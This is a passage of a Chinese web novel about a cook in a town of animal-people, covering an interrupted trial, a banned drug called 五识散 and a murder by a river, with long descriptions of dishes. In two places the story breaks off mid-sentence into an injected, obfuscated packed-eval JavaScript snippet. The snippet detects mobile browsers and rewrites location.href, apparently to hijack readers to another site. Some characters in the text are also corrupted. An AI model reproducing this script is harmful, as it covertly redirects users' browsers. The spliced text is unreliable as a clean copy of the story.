后者正面无表情地、但却极其迅速地吃了一大口肥瘦相间、焦香诱人的回锅肉，感受到她的目光，只是微微抬了下眼皮，算是默认了。 还真是抓到了！ 简菡眼睛下意识地朝下，看向了自己碗。 心里一块大石头终于落了地，可算是能睡个安稳觉了！ 她这样想着，觉得嘴里的大馒头都格外香甜起来。 27. 干锅蛙蛙鸡 翌日，县衙门前人头攒动，多得好像全镇的百姓都闻讯赶来了似的，将衙门围得水泄不通。 汪仙楼的一行人来得晚，只能在外围干着急，根本挤不进前排。 雪翎踮着脚看了半天，灵机一动，拉着简菡就准备往门口那高大的石狮子上爬。 “来，我托你上去！” 手才刚刚揽到简菡的腰，还没用力，青梧忽地不知道从哪窜了出来。 “简姑娘，雪翎姑娘，这边来，前排有位置。” 看见他，简菡下意识就想到了那个总是懒洋洋又带着点坏心眼的苗澈。 她顺着青梧手指的方向望去，果然在人群最前方、靠近衙役警戒线的地方，瞧见了几张熟悉的面孔，苗澈正坐在凳子上往这边瞧。 见简菡看他，他还摇了摇手，在跟她打招呼。 不过他今日的衣着倒是正经了不少，并未像往常那样松松垮垮地敞着领口。 衣袍以靛青色的厚实云锦制成，领口、袖口和衣缘处用银线绣着繁复而精致的云气瑞兽纹，腰间束着一条同色系的宽边锦带，缀着一枚羊脂白玉佩。墨发用一根简单的玉簪半束，剩下的披散在肩后。 虽然依旧难掩那股慵懒贵气，但整体显得庄重沉稳了许多。 简菡下意识就想推拒，毕竟跟这位猫掌柜打交道总没好事。然而还没等她开口，雪翎已兴奋地拉着她胳膊，不由分说地挤开人群，将她往前拽。 “有位置干嘛不坐！快走快走！” 才走到那排特设的凳子附近，原本乖巧坐在凳子上的衔蝉苑猫猫们就很自觉地化为了猫身，足尖轻跃，无声无息地跳进了苗澈和青梧怀里，给她们腾出了空位。 简菡被雪翎按着，不得不坐到了苗澈身旁的凳子上。 一靠近他，闻到他身上那股淡淡的、如同冬日暖阳下晒过的皮毛般的清爽气息，她就觉得浑身哪哪都不自在。她背脊挺得笔直，全身的肌肉都好似在紧绷着，眼睛只敢盯着前方的公堂，不敢乱瞟。 苗澈似乎察觉到了她的僵硬，嘴角勾起一抹几不可察的弧度，怀里抱着只玳瑁猫，有一下没一下地抚摸着，并未看她。 时辰差不多了。 “啪”地一声清脆巨响，惊堂木重重拍在了桌案上，回荡在突然安静下来的公堂内外。 “升堂！” 狄壬端坐堂上，声音威严。他一身深色官服，更显肃穆。 底下的衙役们纷纷用手中的杀威棒有节奏地敲击地面，发出低沉而富有威慑力的呼声：“威~武~！” “将犯人带上来！” 狄壬下令。 门口，围观的百姓们纷纷伸长了脖子，踮起脚尖，对这位闹得满镇风雨的采花贼好奇得不得了。 采花贼是以人形被两名强壮的衙役押上来的。 他身材极为高大魁梧，比寻常男子高了足足一头有余，肩膀宽阔，肌肉虬结。他脖子上戴着沉重的木枷，手上脚上都足足带了三幅粗大的铁镣铐，每走一步都发出哗啦啦的金属碰撞声，可见官府对其极为忌惮。 嗬！ 简菡倒吸一口凉气，被这犯人的体魄惊到了。 她偷偷戳了戳旁边雪翎的胳膊，极小声道：“他是个什么啊？怎么这么大块头？” 从背影，她根本看不出他是什么兽人。 雪翎刚要凑过去回答，另一道清冽又带着点慵懒的声音直接从旁边接过了话头。 “是熊。棕熊。” 苗澈目视前方，嘴唇微动，声音不大，却清晰地传入简菡耳中。 熊？！ 简菡迅速从苗澈的侧脸上移开目光，再次把震惊的视线投向了公堂上那魁梧的背影。 难怪要上这么多重枷锁！这要是发起狂来，得多吓人！ 许是周围百姓们的议论和惊呼声音太大，狄壬再次拿起惊堂木，“啪”地一声拍在案上！ “肃静！” 顿时，公堂内外鸦雀无声，怕是掉根针都能听见。 “熊岳，”狄壬沉声开口，目光如炬地盯着堂下犯人，“你对多次使用迷药，侵害镇中女子，并致一名鲑鱼女子重伤险些殒命的罪行，可认罪？” 等了许久，也不见那叫熊岳的犯人回话。 他是背对着百姓的，大家伙也看不清他此刻的神色，只能看到他宽阔却微微佝偻的背影。 狄壬耐心等了一会儿，见他始终低垂着头，如同老僧入定，毫无反应，终究还是失去了耐心。 他朝手下使了个眼色，那名属下立即抱拳颔首，快步去了府衙后院。 不一会儿，那衙役提着一桶冰冷的井水回来，在狄壬的示意下，“哗啦”一声，毫不留情地泼在了熊岳头上脸上！ 初秋的井水已然冰凉刺骨，然而这突如其来的冰冷刺激却并没有让熊岳清醒过来。 他猛地哆嗦了一下，甩了甩头上的水珠，半卧在地上，眼神却依旧迷离涣散，嘴里发出无意义的嗬嗬声，仿佛完全不知道自己在哪，在经历什么。 狄壬立刻察觉到不对，这绝非正常反应！ 他赶紧挥手让随行的医师过去瞧瞧。 那老大夫提着药箱上前，一手搭在熊岳粗壮的手腕上切脉，一手抚着自己花白的山羊胡，眉头越皱越紧，满脸的纠结和困惑。 “启禀大人，这犯人……”他的话音在抬头看见面前众多百姓好奇的目光那一刻，瞬间停顿住，显然有所顾忌。 他放下犯人的手腕，起身走到狄壬旁边，凑近耳边低声耳语了几句。 虽然听不清具体内容，但堂下的简菡清楚地看到，狄壬的眼神在听到医师的话后瞬间变得无比凌冽！周身的气场都冷了几分。 五识散！ 这等能迷惑心智、使人产生幻觉且极易成瘾的禁药，怎么会出现在这样一个小镇？ 还出现在一个采花贼身上！ 他偏过头，用极低的声音追问：“可能看出，他吸食了多久？” 医师思考片刻，凝重地摇了摇头，低声道：“脉象极其紊乱，毒性已深。只能看出剂量很大，侵蚀已久，但具体时日……难以精准判断。不过能达到此等浑噩程度，想必……时间绝不短。” 闻言，狄壬的表情越发严肃阴沉。 事情远比想象的要复杂。 “犯人神志不清，无法正常受审！”狄壬霍然起身，朗声宣布，“今日暂且退堂！待其清醒，改日再审！” “啪！”惊堂木再次拍响，狄壬不再多看堂下一眼，匆匆离去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618182|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然要去追查这突如其来的禁药线索。 这就……结束了？ 简菡一脸呆滞，还没从这急转直下的剧情中反应过来。 她可是起了个大早，厚着脸皮才挤到前排位置啊！ 身旁的百姓们也都在嗡嗡地议论开来，大多一脸茫然和失望。 “劳驾……二位姑娘，高抬贵臀。” 青梧的声音在一旁响起，他笑着拍了拍简菡和雪翎坐着的板凳。 这是他们从衔蝉苑带来的。 “嗷嗷，不好意思。” 二人这才反应过来，赶紧站了起来，把凳子还给他们。 还以为有天大的热闹看，结果却这么没头没脑、虎头蛇尾地结束了。 简菡瞧着天色还早，跟汪屿和墨无咎打了声招呼，便拉着同样觉得扫兴的雪翎去了趟织霞苑。 已经入秋了，天气转凉，简菡得买些厚衣服，正好之前答应了送雪翎一身新衣裙，便一同去逛逛也好。 之前受采花贼影响，镇上的姑娘们大都闭门不出，以致于织霞苑的生意都惨淡了不少。 如今嫌犯落网，姑娘们仿佛被解除了禁令，织霞苑里顿时人满为患，挤得连块下脚的地方都没有，比衙门门口还热闹。 简菡给自己挑了几身实用的。 一套浅碧色的交领齐腰襦裙，配了条月白色的披帛，裙摆绣着蝶恋花图案，清丽脱俗；一套樱草色的窄袖短袄配菡萏粉的间色裙，更显娇俏灵动；还有一套姜黄色的印花绢丝褶裙，外罩一件半透明的鹅黄色纱质大袖衫，准备留着年节穿。 她也没忘记答应雪翎的，给她选了一套雪青色的高腰襦裙，裙头绣着精美的孔雀羽纹，配了一条银白色的轻容纱披帛，与她雪白的羽翅耳饰相得益彰。还给她配了一支鎏金点翠的步摇和一对珍珠耳珰。 在挑选首饰时，简菡的目光被一支白玉镯子牢牢吸引住了。 玉镯质地温润细腻，白如凝脂，几乎没有一丝杂质，打磨得光滑无比，在店内光线下流转着柔和内敛的光泽，看起来就价格不菲。 她试戴了一下，大小正好，衬得她的手腕愈发纤细白皙。然而，她犹豫了很久，最终还是没舍得买，小心翼翼地将镯子放了回去。 二人一直逛到了下午才心满意足地回到客栈。 一进门，就看到汪屿和墨无咎一脸幽怨地看着简菡，那眼神活像是被抛弃的小媳妇。 简菡这才猛地想起来，光顾着自己逛街，忘了这俩看家的还没吃午饭呢！ 她赶紧将手里的大包小包塞给雪翎，劳烦她帮忙先拿到自己房间，自己则挽起袖子，快步往厨房冲。 “马上就好马上就好！饿坏了吧！” 还好她早上出门前，炖了一锅干锅蛙蛙鸡在灶上温着，此刻只需要开火热一下就好。 满满一大盆的盆干锅蛙蛙鸡被端上了桌。 蛙肉鲜嫩紧实，鸡肉酥烂入味，两者都被麻辣鲜香的汤汁紧紧包裹，藕片、土豆、青笋等配菜吸饱了味道，吃起来酣畅淋漓，麻辣过瘾，极其下饭。 饿坏了的汪屿和墨无咎也顾不上抱怨了，立刻拿起碗筷加入了战斗。 简菡看着他们狼吞虎咽的样子，心里那点愧疚感才稍稍减轻了一些。 28. 过油肉拌面 简菡夹起一筷子烧得红亮诱人的牛蛙腿肉，小心地吹了吹气送入口中。 牛蛙都是简菡亲自在集市上挑的，个头又大又肥硕，还都活蹦乱跳的。 她特意交代了老板帮她处理干净，是以拿回来清洗干净便能用特制的调料腌制，省下不少麻烦。 下锅爆炒时，她对火候掌握的极妙，恰到好处。既锁住了肉质的鲜嫩，又让调味料充分渗透。 蛙肉极其鲜嫩爽滑，几乎是入口即化，却又带着一丝细微的弹性，仿佛在齿间轻轻一弹便迸发出浓郁的汁水。 麻辣的滋味早已深深渗透进每一丝肉纤维中，花椒的麻与辣椒的辣交织在一起，霸道地冲击着味蕾，却又被酱料的咸香和一丝不易察觉的甜味巧妙平衡，让人吃得额头微微冒汗，嘴唇发麻，却根本停不下筷子。 藕片清脆，土豆软糯，每一口都让人沉浸在麻辣鲜香的享受中，仿佛整个世界都只剩下这一锅美味。 “呦！吃着呢！” 一个慵懒带笑的声音突然响起，循声望过去。 苗澈不知何时过来了，正斜倚着汪仙楼大门的门框，银色的猫尾在身后悠闲地轻轻摆动。 早上那身靛青色的衣袍已经不再整齐，松松垮垮地，领口微敞，露出线条漂亮的锁骨。 早上毕竟是蹭了人家的凳子才占到好位置，简菡扫了他一眼，便立马心虚地低下头，假装专心致志地扒拉着碗里的米饭，恨不得把脸埋进碗里。 毕竟……欠人家的人情呢，气势上就先矮了一截。 苗澈对她这副鸵鸟样子哧笑了一声，倒也没出言挤兑她。 他将目光投向了正在认真吃饭的汪屿，声音懒洋洋却带着点不容置疑：“你，跟我出来一下。” 咦？！ 简菡唰地把头抬了起来，眼睛瞪得溜圆。 这俩人平日互相看不顺眼，恨不得离对方八丈远，今日难不成太阳真打西边出来了？苗澈竟然还会主动来找汪屿？ 汪屿被点了名，倒是配合。 他没什么表情地放下筷子，拿起茶杯喝了一口漱了漱口，然后起身，跟着苗澈一前一后地走出了客栈大门。 屋内，剩下的三人动作极其一致地抻长了脖子，目光紧紧追随着门外那两道修长的身影。 二人就站在门口不远处，但说话的声音压得极低。饶是雪翎和墨无咎这俩感官敏锐的兽人，竖起耳朵也只能听到一些模糊的音节，根本听不清具体内容。 但透过门缝，他们能清楚地看到，两人的脸色都阴沉沉的，眉头紧锁，完全没有平时互相嫌弃时那副斗气模样，反而透着一股罕见的凝重。 不像是什么好事。 简菡心里嘀咕了一句。 说话的间隙，苗澈无意地往屋里瞥了一眼。 下一瞬，汪屿似乎有所感应，也要转过头来。 屋内的三人如同受惊的兔子，立马齐刷刷地缩回脖子，迅速坐回凳子上，拿起碗筷，装模作样地认真吃饭，仿佛刚才并不曾探头探脑地偷听。 不多时，汪屿就回来了。 他依旧没什么表情，一言不发地坐下，拿起筷子，又继续默默地吃了起来，仿佛刚才什么也没发生似的。 简菡借着夹菜的动作，眼神和对面的墨无咎、旁边的雪翎飞快地对视了一圈，彼此眼中都充满了同样的好奇和疑问：他俩到底说了啥？ 这突如其来的会面，让原本轻松的氛围蒙上了一层说不清道不明的迷雾，每个人都暗自揣测，却又不敢轻易开口询问。 ========= 简菡一直等到了二更五鼓，也没等到狄壬那群人回来。 她坐在大堂里，支着下巴，眼皮越来越沉，最后忍不住打了个长长的哈欠，生理性的泪水顺着眼角滑落下来。 夜色深沉，窗外只有偶尔传来的虫鸣和远处模糊的更鼓声，显得格外寂静。 “回去睡吧。”汪屿看了看门外漆黑的夜色，起身说道，“看来他们今晚是回不来了。” 他走过去关上客栈大门，还仔细地落了门闩。 “有事我喊你。”他补充了一句，声音在寂静的夜里显得格外清晰。 “好。” 简菡点了点头，活动了一下坐得有些发麻的筋骨，从凳子上起身，打着哈欠往后院走。 一夜安眠。 隔天简菡起来才知道，楼上那群京城来客竟然真的一夜未归。 想到昨天那场没头没脑、最后因为犯人神志不清而中断的公开审理，简菡忽然没来由地打了个冷颤。 那熊妖看着就力大无穷、不好对付。估计要是动刑审讯，都得两个衙役换着抡鞭子才够劲。 吃过早饭，她抱着一簸箕红艳艳的干辣椒，坐在大堂里，拿出针线，仔细地将辣椒一个个串起来，准备拿到院子里晾晒，冬天做辣酱或者调味都好。 阳光透过窗棂照进来，落在她的手上，暖洋洋的。 她正专心致志地对付着辣椒，忽然客栈大门被人“砰”地一声猛地撞了一下！一个身影踉跄着扑着重重地摔靠在门板上，发出好大一声响。 简菡被吓得一哆嗦，手中的针尖差点就戳破了指尖！ 她惊魂未定地抬头望去，竟是穆阳！ 他面色苍白，唇角干裂，官服上沾满了尘土和不知名的污渍，甚至还有几处被勾破了口子。头发也散了，几绺碎发垂下来，被额头的冷汗浸湿黏在脸上。 他呼吸很重，有些急促，整个人像是刚从什么灾难现场爬出来一样，狼狈不堪。 连往日支在头顶的三角耳朵都无精打采地耷拉着，立都立不起来。 “你怎么了？” 简菡赶紧放下手里的活计，站起身问道。 穆阳靠在门板上，大口喘着气，声音极其微弱，断断续续地说：“有……有吃得吗？快……快给我点……” 他那样子，看着随时都要晕过去似的。 此时当不当正不正，不是早饭点也不是午饭点，加上汪仙楼生意惨淡，厨房里还真没有现成的饭菜。 简菡见状，也顾不上多问，连忙说道：“我去给你做，你等着！很快！” 正好墨无咎和汪屿听到动静也从后院过来，两人一左一右搀扶住几乎虚脱的穆阳，将他扶到椅子上坐下。 简菡见 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他夹起一大筷子面条，迫不及待地送入口中，咀嚼的同时，又伸筷从旁边的小菜碟里夹了一瓣糖蒜。 糖蒜腌得恰到好处，晶莹剔透，蒜香中带着微甜，正好解了面肉的油腻。 辣白菜刚腌好，酸辣脆爽的口感让人胃口大开，就着面条吃得更加酣畅淋漓。 简菡看他那副“饿死鬼”的样子，连忙叮嘱道：“慢点吃，没人跟你抢。” 说着，她将手边的小菜碟子往他面前推了推。 “尝尝这个，昨天刚腌的萝卜干，爽口着呢。” 穆阳含糊地应了一声，夹起一块萝卜干放入口中。 咸香脆嫩，带着微微的辣味，让他忍不住又扒拉了一大口面条。 面条筋道爽滑，均匀地裹满了咸香浓郁的芡汁。 过油肉片滑嫩鲜香，带着油炸过的独特锅气。木耳脆爽，黄花菜吸味，蒜苗段提供了清新的辛辣感。油泼辣子更是点睛之笔，香而不燥，极大地激发了食欲。 他吃得又快又急，仿佛饿了几百年。 秃噜了小半碗下去，穆阳的速度才稍微慢了下来，发出一声满足的、仿佛重新活过来的喟叹：“啊……可算是活过来了……” 他又夹了一筷子辣白菜，就着剩下的小半碗面，这次倒是细嚼慢咽起来，显是饿劲过去了，开始品味其中的滋味。 “你怎么把自己搞成这个样子啊？” 简菡给他倒了杯温水，递过去。 “别提了，”穆阳一边继续吃着面，一边用没拿筷子的手摆了摆，脸上露出心有余悸又疲惫不堪的表情，“衙门都忙疯了，从上到下，连轴转，一口水都没工夫喝……” 哦？ 一听这话，不光简菡，旁边的汪屿和墨无咎也都竖起了耳朵，等着听下文。 这明显是又出大事了啊！ 穆阳咽下嘴里的面，叹了口气，声音沙哑地说：“采花贼的案子还没结，昨天下午……镇子外的小粱山上又出事了！” 29. 牛腩饭 穆阳神秘兮兮地瞄了眼门外，仿佛怕隔墙有耳，压低了声音继续说道：“昨儿个，小粱山上，有个农户去山上收高粱。结果好巧不巧，正好撞见了案发现场。” 啊？ 一听这话，围在他身边的几个人不由自主地把头凑得更近了些，连呼吸都放轻了，生怕错过任何细节。 穆阳又警惕地朝门外瞄了一眼，确认没人，才接续说道，声音更低了：“一个傻狍子，杀了一条鱼。” 啊！ 汪仙楼众人听到这，猛地倒吸了一口凉气！ 光天化日，在小梁山上，简直是明目张胆的行凶啊！ “为啥啊？她俩有过节？一个在地上一个在水里，八竿子打不着啊！” 简菡忍不住追问了一句，大家的注意力再次高度集中起来。 “这个嘛……”，穆阳故意拉长了声调，卖起了关子。 他环视一圈，见所有人都眼巴巴地望着他，等着揭秘，他忽地就坐直了身体，板起脸，一本正经地说道：“官府机密，不可泄露。” 说完，便低下头，继续大口吃起了碗里剩下的面。 切！ 大伙的好奇心刚被高高吊起，就像拉满了的弓弦，结果瞬间就被这无情的一句话给掐断了！一个个心里跟猫抓似的，烦得不行。 简菡狠狠翻了个大白眼，气鼓鼓地站起身，就要去后院继续串她的辣椒。 这穆阳，要不就别说，要说就都说清楚！说话说一半，简直比苗澈还可恶！ “诶！简菡姑娘！留步！” 穆阳一见她要走，赶紧咽下嘴里的面，喊住了她。 简菡没好气地停下脚步，回头瞪着他。 穆阳脸上堆起讨好的笑容：“那个……劳烦你再辛苦辛苦，做些饭食，量大管饱那种，我得带回去，给衙门里的兄弟们吃。大家都忙得脚不沾地，还没吃上一口热乎饭呢。” 听到这话，简菡还真折返了回来。 她走到穆阳面前，摊开手心，叉着腰站定，一言不发地看着他。 “什么？”穆阳被她看得发毛，瞧了半天，也没发现她手上有什么东西。 “钱啊！”简菡的手往前又伸了伸，几乎要戳到穆阳的鼻子，“大人，不给钱，我拿什么买米买肉？怎么做饭？总不能让我这小本生意倒贴吧！” “嗷嗷嗷！你看我这脑子！”穆阳反应过来，赶紧解下腰间的荷包，从里面掏出一小锭银子，“喏，这是县令特批的公款，你看着做，务必让兄弟们吃饱吃好！” 简菡拿了钱，在手里掂量了一下，又仔细问了穆□□体要几人份，心里快速盘算好预算，这才将银子转手交给了柜台后一副“闲人勿扰”模样的墨无咎入账。 “墨无咎，记账。” 由于之前摆摊卖过盒饭，虽然没有一次性的餐盒，但大的保温木桶、干净的碗筷都是现成的。 只是聂松正在别处卖卤货，他的小驴车今天是蹭不到了。 简菡系上围裙，洗赶紧上后，钻回厨房开始忙碌起来。 她选了一大块上好的牛腩肉，切成适口的方块，冷水下锅焯去血沫。 锅中放油，加入冰糖炒出糖色，倒入焯好的牛腩翻炒上色，然后放入葱段、姜片、八角、桂皮、香叶等香料，烹入料酒、酱油，翻炒均匀后加入足量的开水，大火烧开转小火慢炖。 趁着炖牛腩的工夫，她淘米煮饭，又洗了些青菜准备焯水搭配。 牛腩炖至软烂入味，汤汁浓郁后，她尝了尝味道，加了适量的盐调味。 炖好的牛腩连带着浓稠的汤汁一起被简菡倒腾到了木桶里。牛腩酥烂醇香，入口即化，浓郁的肉汁里都饱含着牛肉的精华，香浓可口，暖心暖胃。 米饭是直接用桶隔水蒸的，倒是省了不少力气。 既然官爷们忙的不行，想必也喝不上水。于是乎，她还特意做了一大锅番茄鸡蛋汤。 熟透的番茄炒出红沙，倒入清水烧开，淋入打散的蛋液，形成漂亮的蛋花，最后撒上葱花和香油。 汤色红黄相间，酸甜开胃，正好可以解牛腩饭的些许油腻。 将装有饭菜的几个大木桶分别盖好盖子保温后，简菡喊来了穆阳，让他去街上拦了一辆路过的牛车。 沉重的木桶搬上车，车轮发出“吱呀吱呀”的呻吟声，看得出车上的货物着实不轻。 牛车慢悠悠地朝着县衙走去。 距离县衙还有一段路呢，穆阳就瞧见门口当差的兄弟已经伸长脖子在张望了，眼神里充满了殷切的期盼。 车还没完全停稳，门口的衙役们就迫不及待地迎了上来，根本不需要穆阳招呼，立马就有几个年轻力壮的小伙子过来帮忙抬木桶，动作那叫一个麻利。 牛腩饭那霸道浓烈的香气从木桶的缝隙中飘散出来，瞬间就在忙碌的县衙院子里弥漫开来。 “嚯！真香啊！” “是穆大人说的那位汪仙楼简姑娘的手艺吧？” “可算是能吃上口热乎的了！饿死我了！” “今天是什么好吃的？闻着像是炖肉！” …… 衙役们一边抬着木桶，一边忍不住吸着鼻子议论，疲惫的脸上终于露出了些许笑容和期待。 穆阳招呼人分好后，喊来几个人将给大人们的饭菜直接抬到了县衙大堂。 大堂里，狄壬正带着几个得力手下埋头翻着堆积如山的卷宗，个个眉头紧锁，气氛凝重。 五福镇的县令大人则小心翼翼地端着水壶站在一旁，连倒水都不敢轻易动作，生怕水洒了弄湿卷宗，影响狄诸位大人们办案，到时候纯属帮倒忙。 “大人，忙了一上午，先用些饭食吧。” 穆阳上前一步，低头行礼，恭敬地对狄壬说道。 腰弯了半天，上方却没有任何回应。狄壬仿佛完全沉浸在了卷宗里，充耳不闻。 穆阳小心翼翼地抬起头瞟了一眼。 见狄壬依旧是一副全神贯注、心无旁骛的模样。 他回头，对着身后抬着木桶的衙役使了个眼色。 根据他们进来前商量好的“香味攻势”，身后的衙役会意，轻轻掀开了一个木桶的盖子。 顿时，更加浓郁诱人的牛腩饭香气如同有了实质，猛地在大堂里扩散开来，强势地钻入每个人的鼻腔。 穆阳趁机将身子压得更低了些，声音也比之前提高了些许：“大人，请用些饭食吧！身体是办案的本钱啊！” 那香气顽固地钻进狄壬的鼻腔，终于让他翻阅卷宗的手指微微一顿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627393|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬起眼，目光扫过堂下，发现不仅穆阳，连他自己的手下以及本县的县令，都目光灼灼地盯着那冒着热气的木桶，眼神里写满了渴望。 倒显得他有些不近人情了。 想到大家确实从凌晨忙到现在，水米未进，狄壬终是叹了口气，将手中的书卷放下，站了起来。 “罢了，先去偏殿用饭。休整片刻。” “是！” 众人如蒙大赦，脸上顿时露出喜色，连忙抬着木桶往偏殿走去。 偏殿里，衙役们手脚麻利地摆好碗筷，给每人盛上满满一大碗铺着酥烂牛腩、淋着浓稠汤汁的米饭，再配上一碗热气腾腾、色泽鲜亮的番茄鸡蛋汤。 狄壬端起碗，先是喝了一口汤。 番茄的酸甜恰到好处地打开了味蕾，蛋花滑嫩，汤体温润。 然后他夹起一块牛腩送入口中。牛腩炖得极其到位，软烂而不失其形，用筷子轻轻一夹就能分开，浓郁的肉香和香料的味道完美融合，在口中化开。再扒一口吸饱了肉汁的米饭，米香和肉香交织，满足感油然而生。 “你们可有发现，五福镇过往的案宗里，有过关于五识散的记录？” 狄壬扒了几口饭，忽然放下筷子，沉声问道。 即便是吃饭，他的脑子也一刻不停地运转着。 几个负责翻阅旧卷宗的手下闻言，都停下了咀嚼，仔细回忆了一下这两天翻过的堆积如山的卷宗，纷纷摇了摇头。 “回大人，卑职仔细查验了近十年的案卷，并未发现任何与五识散相关的记载。”一个手下恭敬地回道。 “下官也核验过药铺和郎中的记录，并未有大量采购或使用类似功效药材的异常情况。”另一个手下也连忙补充道。 狄壬的眉毛紧紧皱起，形成了一个川字。 这就奇怪了，五识散乃是宫廷严格管控的禁药，炼制复杂，原料稀缺，怎么会凭空出现在这个偏远小镇？ 而且一出现就是能让人神志不清、瘾癖深重的大剂量。 是外来的？ 还是……本地有隐藏的炼制窝点？ 他思忖了半晌，毫无头绪，只得暂时按下这个疑问，又继续问道：“仵作那边对高粱河的尸体，可有新的验尸消息？” 当了一上午背景板、几乎透明的县令闻言，赶紧将口中还没来得及完全咽下的饭食囫囵吞下，险些噎住，咳了两声才回道：“回、回狄大人，仵作初步查验后说……说那鱼兽人死者体内，跟关押的熊岳一样，也摄入了过量的五识散！而且剂量惊人，似乎比熊岳中的毒还要深！” 这个结果并未出乎狄壬的意料，但确认之后，他的心还是沉了下去。 两个看似毫不相干的案子，因为同一种罕见的禁药被联系在了一起。 这绝不是巧合！ “那水呢？”狄壬猛地抬起头，目光锐利地盯向县令，声音不自觉地带上了一丝急切，“高粱河的水质，仵作可曾查验？可有异常？” 死者是在高粱河边遇害的，而那条河的上游是泉眼流出的山泉水，清澈甘甜，五福镇大半的百姓日常饮用、浣洗都是依赖这条河！如果河水被五识散污染了…… 那后果，狄壬光是想想，就觉得一股寒意从脚底直窜天灵盖，心倏地揪紧了！ 30. 茄汁鱼 狄壬的话，如同一声惊雷，给偏殿内在场的所有人都是当头一棒！ 尤其是县令，手哆哆嗦嗦的，碗差点没拿稳，结结巴巴地回答：“水……水质……仵作已经取了水样，但、但查验需要时间，结果……结果还没出来……” 狄壬深吸一口气，强迫自己冷静下来。 他知道现在着急也没用，必须等待确切的检验结果。 但一种不祥的预感已经如同阴云般笼罩在他的心头。 他看了一眼桌上还没吃完、却已然失了温度的牛腩饭，再也无心下咽。 “传令下去，”他站起身，声音恢复了惯有的冷静，却带着不容置疑的威严，“加派人手，严密监控高粱河上下游，尤其是水源地泉眼附近，发现任何可疑人物或物品，立刻上报！在仵作的水质查验结果出来之前，通知镇民……暂勿直接饮用河水，尽量使用井水。” 穆阳的心咯噔了一下。 忽地，他又想起了，汪仙楼后院是有自己一口深水井的，这才稍稍缓和了口气，至少这些饭食暂时都是安全的。 其他人都领命走光了，偏殿里只剩下穆阳一个人。 他默默地将几乎没怎么动的饭菜收拾妥当，还细心地将没吃完的、尚且完好的牛腩和米饭单独留了出来，放到厨房的碗柜里。 想着万一有兄弟饿了，可以热热直接吃。 然后他认命地挽起袖子，把一大堆木桶和碗筷刷洗干净，带上几个衙役，拦了辆车，将东西给简菡送回去，顺便也要将“慎饮河水”的通知传达给镇上的百姓。 另一边，仵作和随行的大夫带上衙役，火速赶往了小梁山。 他们将山上所有已知的水源，包括溪流、水洼甚至露水密集处都仔细检测了一遍，结果却并未发现五识散的踪影。 保险起见，他们甚至连案发现场河边的淤泥都取样检测了。 奇怪的是，所有样本都很“干净”。 这个结论报告给狄壬的时候，已经是深夜了。 县衙烛火通明，所有的相关案宗几乎都被翻了个底朝天。可以确认，五福镇在过去的确没有过任何关于五识散的记录或案件。 狄壬闭上眼睛，修长的手指用力捏着山根处，试图缓解长时间用眼带来的酸涩。 所有的线索似乎都集中在了熊岳和那个死去的鱼兽人身上，可这二人之间查来查去并无直接联系，那这害人的五识散，究竟是从何而来？又是通过什么途径让这两人中招的？ 狄壬正陷入沉思，穆阳带着人急匆匆赶了进来，脸上带着一丝疲惫，但眼神却有些振奋。 “大人，有发现！” 下午，穆阳带人将熊岳家里里外外仔细搜查了一遍，并走访了附近邻居。 邻居们众口一词，都说熊岳平时憨厚本分，乐于助人，根本不像是能干出采花那种恶事的人。 但穆阳敏锐地发现，熊岳的屋子里，家具上都落着一层薄灰，显然是很久没人居住的样子。 他立刻向周围人打听熊岳近期的动向。 大伙说法虽然略有出入，但都提到熊岳大概半个月前说是去走亲戚了，一直没见回来。 顺着这条线，他们又马不停蹄地赶到镇外熊岳的亲戚家，却得知熊岳的确来过，但只待了两三天就匆匆回去了。 从熊岳亲戚口中，穆阳了解到熊岳最近在小梁山上的一个采石场做工。 他们又赶紧奔赴采石场。 这一趟没有白跑，果然寻到了蛛丝马迹！ 因着熊岳是个小工头，他有一间单独的石屋。 在屋里的竹床底下，他们发现了一个带锁的小箱子，撬开之后，里面藏着不少裁剪整齐的油纸包，纸上还残留着一些粉末。 随行的医师当场检测，赫然就是五识散！ 穆阳带人回来之后，又立刻复查了死鱼兽人的遗物。 在他的背包里，也发现了同样材质的油纸，只是不知为何，纸张异常干净，在不沾水的情况下，竟然一点粉末残留都没留下。 狄壬听到这里，忽然想到下午在一本医毒古籍上看到的关于五识散特性的一段描述，连忙问道：“那些油纸上，可有火烧过的痕迹？哪怕是极其细微的焦痕？” 穆阳眼睛转了半圈，努力回忆了一下，猛地一拍大腿：“有！箱子里有几张纸的边缘，确实有被火燎过的黑边！” 狄壬闻言，手猛地拍了下桌板，发出“啪”的一声脆响！ “果然如此！这五识散除了口服，还能通过焚烧吸入起效！顺着那名死者的社会关系，还有这些油纸包的来源方向，继续深挖！重点查镇上所有能接触到特殊纸张、药材或者有异常用火记录的人！” “是！”穆阳抱拳行礼，领命后，步履匆忙地再次走了出去，身影很快消失在夜色中。 ========= 官府关于慎饮河水的通知刚一下达，简菡就敏锐地察觉到了潜在的危机。 她立刻让雪翎用传音符给聂松传信，让他先别摆摊卖货了，赶紧去米铺、菜市场抢购粮食和耐储存的蔬菜。 同时，她也当机立断，带着雪翎等人暂时关了店门，直奔菜市场。 采买到一半，市场的商贩们果然开始坐地起价，别说新鲜蔬菜了，连平日里最普通的大米都价格飞涨。 简菡估算着，他们抢购的物资也差不多够客栈撑一段时间了，便果断收手，没有再加入恐慌性的抢购大军。 镇上有水井的人家并不多。 